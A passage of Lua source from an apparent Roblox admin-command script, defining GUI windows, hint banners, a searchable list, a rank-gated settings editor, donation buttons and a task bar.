4024 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4025 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4026 end
4027 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4028 if not Said then
4029 Said = true
4030 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4031 end
4032 end)
4033
4034 if TextColor then
4035 Body.TextColor3 = TextColor
4036 else
4037 Body.TextColor3 = Color3.new(1,1,1)
4038 end
4039
4040 if tonumber(Time) then coroutine.wrap(function()
4041 if AutoTime then
4042 Time = Time + math.floor(#BodyText/7)
4043 end
4044 local Alive = true
4045
4046 local function StopTimer() Alive = false end
4047 Closed.Event:connect(StopTimer)
4048 Minimized.Event:connect(StopTimer)
4049
4050 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4051 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4052 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4053 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4054 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4055 for i = Time,0,-1 do
4056 for ii = 1,10 do
4057 if Alive == true then
4058 Ticker.Text = i
4059 wait(0.1)
4060 else
4061 break
4062 end
4063 end
4064 end
4065 if Alive == true then
4066 Close:Invoke()
4067 else
4068 Ticker:Destroy()
4069 Stop:Destroy()
4070 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4071 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4072 end
4073 end)() end
4074
4075 CORE:ExecuteResource("CalculateScrollY", Body)
4076 end
4077end
4078
4079function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4080 if not Player then return nil end
4081 if not Player:IsA("Player") then return nil end
4082 if BodyText == "" then return nil end
4083 if not Player:FindFirstChild("PlayerGui") then return nil end
4084 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4085 local TextColor = GUI:ContrastColor()
4086 if Error then TextColor = Color3.new(1,0,0) end
4087
4088 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4089 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4090
4091 CORE:ExecuteResource("CalculateScrollY", Body)
4092
4093 return Frame, Close, Closed, Minimize, Minimized
4094end
4095
4096function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4097 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4098 local TweenTime = 0.5
4099 if not Time then Time = 5 end
4100 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4101 local MaxPos = -1
4102 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4103 local IVal = SGObj:FindFirstChild("Index")
4104 if IVal then
4105 MaxPos = math.max(MaxPos, IVal.Value)
4106 end
4107 end
4108 MaxPos = MaxPos + 1
4109 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4110 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4111 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4112 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4113 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4114 SG.Parent = Player.PlayerGui
4115
4116 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4117 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4118
4119 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4120 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4121 Delay(TweenTime, function()
4122 for i = 1,0,-0.1 do
4123 Body.TextTransparency = i
4124 wait()
4125 end
4126 Body.TextTransparency = 0
4127 end)
4128 Delay(TweenTime + Time, function()
4129 for i = 0,1,0.1 do
4130 Body.TextTransparency = i
4131 wait()
4132 end
4133 Body.TextTransparency = 1
4134 local Done = false
4135 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4136 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4137 end)
4138
4139end)() end
4140
4141function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4142 if not Player then return nil end
4143 if not Player:FindFirstChild("PlayerGui") then return nil end
4144 if not PreSearch then PreSearch = "" end
4145 if AutoNumber == nil then AutoNumber = true end
4146
4147 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4148 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4149 SearchBar.Parent = Frame.Parent
4150 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4151 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4152
4153 local SearchVer = 0,nil
4154 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4155 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4156 local InDialog = false
4157
4158 local function ShowResults(Key)
4159 SearchVer = SearchVer + 1
4160 local ThisSearchVer = SearchVer
4161
4162 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4163 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4164
4165 local NumPos,Num = 0,1
4166
4167 for _,Data in pairs(List) do
4168 if ThisSearchVer ~= SearchVer then
4169 break
4170 end
4171 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4172 if String then
4173 local ImageIcon = nil
4174 if type(Data) == "table" then
4175 String = Data[1]
4176 ImageIcon = Data[2]
4177 end
4178
4179 local TextColor = GUI:ContrastColor()
4180 local StringSplit = STRING:GetSplit(String, 1, " ")
4181 local NewColor = GUI:GetColor(StringSplit[1])
4182 if NewColor then TextColor = NewColor String = StringSplit[2] end
4183
4184 if string.find(string.lower(String), string.lower(Key)) then
4185 Spacer = false
4186 local Font = Settings.Font
4187 local Split = STRING:GetSplit(String, 1, " ")
4188 if string.sub(string.lower(String),1,6) == "bold: " then
4189 Font = "ArialBold"
4190 String = string.sub(String,7)
4191 elseif Fonts[Split[1]] then
4192 Font = Split[1]
4193 String = Split[2]
4194 end
4195 if string.sub(String,1,2) == "--" then
4196 Spacer = true
4197 end
4198 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4199 if ImageIcon then
4200 if tonumber(ImageIcon) then
4201 ImageIcon = "rbxassetid://"..ImageIcon
4202 elseif Icons[ImageIcon] then
4203 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4204 end
4205
4206 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4207 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4208 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4209 Content.Text = ""
4210 NumPos = NumPos + 90
4211 else
4212 NumPos = NumPos + 30
4213 end
4214
4215 if not Clickable then
4216 Content.AutoButtonColor = false
4217 Content.Active = false
4218 Content.BackgroundTransparency = 1
4219 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4220 SOUND:BindButton(Content)
4221 CORE:HandleEvent(Content, "MouseButton1Down", function()
4222 if not InDialog then
4223 Clicked:Fire(String)
4224 end
4225 end, true)
4226 end
4227 if Spacer == false then Num = Num + 1 end
4228 end
4229 end
4230 end
4231 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4232 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4233 end
4234
4235 RequestDialog.OnInvoke = function(RequestDialogCall)
4236 InDialog = RequestDialogCall
4237 end
4238
4239 ShowResults(PreSearch)
4240
4241 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4242 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4243 if Prop == "Text" then
4244 local Text = CORE:ReadProperty(RPR, Player, "Text")
4245 ShowResults(Text)
4246 Frame.CanvasPosition = Vector2.new(0,0)
4247 end
4248 end)
4249
4250 return Clicked, RequestDialog, Close
4251end
4252
4253function GUI:PropertyGui(Player, Title, Icon, Properties)
4254 if not Player then return nil end
4255 if not Player:FindFirstChild("PlayerGui") then return nil end
4256 if type(Properties) ~= "table" then return nil end
4257 local HasClosed = false
4258 local NewProperties = {}
4259
4260 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4261 Frame.ClipsDescendants = true
4262 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4263
4264 for PropertyName,Data in pairs(Properties) do
4265 NewProperties[PropertyName] = Data[1]
4266 end
4267
4268 local YCount = 0
4269
4270 for PropertyName,Data in pairs(Properties) do
4271 if type(Data) == "table" then
4272 local DefaultValue = Data[1]
4273 local Writable = Data[2]
4274 local ValueType = Data[3]
4275
4276 if Writable == nil then Writable = false end
4277 if type(ValueType) == "string" then -- now this is confusing
4278 ValueType = string.lower(ValueType)
4279 elseif ValueType == nil then
4280 ValueType = type(DefaultValue)
4281 end
4282
4283 if ValueType == "nil" or ValueType == "userdata" then
4284 ValueType = nil
4285 elseif ValueType == "table" then
4286 DefaultValue = STRING:UnpackArgs(DefaultValue)
4287 ValueType = "string"
4288 end
4289
4290 if ValueType then
4291 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4292 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4293 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4294
4295 if ValueType == "string" or ValueType == "number" then
4296 if Writable == true then
4297 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4298 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4299 if ValueType == "number" then
4300 NewProperties[PropertyName] = tonumber(Input.Text)
4301 else
4302 NewProperties[PropertyName] = tostring(Input.Text)
4303 end
4304 end end)
4305 else
4306 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4307 end
4308 end
4309 if ValueType == "boolean" then
4310 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4311 if DefaultValue == true then
4312 Check.Image = "rbxassetid://48138491"
4313 end
4314 if Writable == true then
4315 CORE:HandleEvent(Check, "MouseButton1Down", function()
4316 local NewVal = not NewProperties[PropertyName]
4317 NewProperties[PropertyName] = NewVal
4318 if NewVal == true then
4319 Check.Image = "rbxassetid://48138491"
4320 else
4321 Check.Image = "rbxassetid://48138474"
4322 end
4323 end)
4324 else
4325 Check.ImageTransparency = 0.5
4326 end
4327 end
4328 YCount = YCount + 50
4329 end
4330 end
4331 end
4332
4333 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4334
4335 Closed.Event:connect(function() HasClosed = true end)
4336
4337 repeat wait(0.1) until HasClosed
4338 return NewProperties
4339end
4340
4341function GUI:SettingsGui(Player)
4342 if not Player then return nil end
4343 local CloneViewSettings,CanChange = {},false
4344
4345 local ViewSettings = {
4346 ["Version"] = {CORE.Version.Value, false, nil};
4347 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4348 ["Font"] = {Settings.Font, 3, "Font"};
4349 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4350 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4351 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4352 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4353 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4354 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4355 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4356 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4357 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4358 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4359 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4360 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4361 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4362 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4363 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4364 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4365 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4366 ["Bet"] = {Settings.Bet, 3, "Bet"};
4367 }
4368
4369 local _,RankNum = RANK:GetRank(Player)
4370 if RankNum >= 3 then
4371 CanChange = true
4372 end
4373
4374 for Prop,Data in pairs(ViewSettings) do
4375 local Writable = false
4376 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4377 CloneViewSettings[Prop] = {Data[1], Writable}
4378 end
4379
4380 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4381 if CanChange then
4382 for Prop,Data in pairs(ViewSettings) do
4383 if Data[3] then
4384 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4385 end
4386 end
4387 CORE:FixSettings()
4388 end
4389end
4390
4391function GUI:MessageAdmins(TitleText, BodyText, Icon)
4392 for _,Player in pairs(Server.Players:GetPlayers()) do
4393 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4394 if PlayerAdmin then
4395 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4396 end
4397 end
4398end
4399
4400function GUI:TellAdmin(Player)
4401 if not Player then return end
4402
4403 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4404 if ValidAdmin == true then
4405 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4406 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4407 local SoundID = 237866523
4408 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4409 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4410 Sound:Play()
4411 coroutine.wrap(function()
4412 wait(4)
4413 Sound:Stop()
4414 Sound:Destroy()
4415 end)()
4416 end
4417 end
4418end
4419
4420function GUI:TellNotAdmin(Player)
4421 if not Player then return end
4422
4423 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4424end
4425
4426function GUI:CreateTaskBar(Player)
4427 if not Player then return nil end
4428 if Settings.EnableTaskBar == false then return nil end
4429 Player:WaitForChild("PlayerGui")
4430 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4431 if SG then SG:Destroy() end
4432 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4433 local IsMoving = false
4434 local TaskBarShown = false
4435 local Tasks = {}
4436
4437 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4438 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4439
4440 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4441 local Open,CloseForm = false,nil
4442 if Settings.EnableAdminMenu then
4443 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4444 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4445 if Open == false then
4446 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4447 Open,CloseForm = true,Close
4448
4449 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4450 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4451 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4452 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4453 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4454 local function DonateMoney(Type, Element)
4455 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4456 local Get = Request[Type]
4457 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4458 Server.MPS:PromptPurchase(Player, Get[1], true)
4459 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4460 Server.MPS:PromptPurchase(Player, Get[2], true)
4461 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4462 Server.MPS:PromptPurchase(Player, Get[3], true)
4463 else
4464 Element.Text = "Cannot get request"
4465 end
4466 end
4467 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4468 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4469 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4470 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4471 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4472 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4473
4474 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4475
4476 if Closed then
4477 Closed.Event:connect(function()
4478 Open = false
4479 end)
4480 end
4481 else
4482 CloseForm:Invoke()
4483 end
4484 end) end)()
4485 if RANK:GetRank(Player) == "Owner" then
4486 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4487 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4488 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4489 if HUDSG then
4490 HUDSG:Destroy()
4491 else
4492 GUI:CreateHUD(Player)
4493 end
4494 end)
4495 end
4496 end
4497
4498 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4499 if IsMoving == false then
4500 if TaskBarShown == true then
4501 TaskBarShown = false
4502 IsMoving = true
4503 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4504 else
4505 TaskBarShown = true
4506 IsMoving = true
4507 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4508 end
4509 end
4510 end)
4511
4512 local function ReloadIcons()
4513 for Num,Data in pairs(Tasks) do
4514 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4515 end
4516 end
4517
4518 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4519 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4520 table.insert(Tasks, {Form, Icon})
4521 local CanClick = true
4522 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4523 if Form.IsActive.Value == false then
4524 Restore:Invoke()
4525 elseif CanClick == true then
4526 coroutine.wrap(function()
4527 CanClick = false
4528 local DefPos = Form.Dragger.Position
4529 for i = 1,15 do
4530 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4531 wait(0.05)
4532 end
4533 Form.Dragger.Position = DefPos
4534 CanClick = true
4535 end)()
4536 end
4537 end)
4538 ReloadIcons()
4539
4540 Closed.Event:connect(function()
4541 for Num,Data in pairs(Tasks) do
4542 if Data[1] == Form then
4543 Icon:Destroy()
4544 table.remove(Tasks, Num)
4545 end
4546 end
4547 ReloadIcons()
4548 end)
4549 end)
4550end
4551
4552function GUI:ShowDebtStats(Player, ManualText)
4553 local Text = ManualText
4554 if not ManualText then
4555 Text = "CANNOT GET STATISTICS"
4556 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4557 if RawPage then
4558 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4559 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4560 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4561 end
4562 end
4563
4564 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
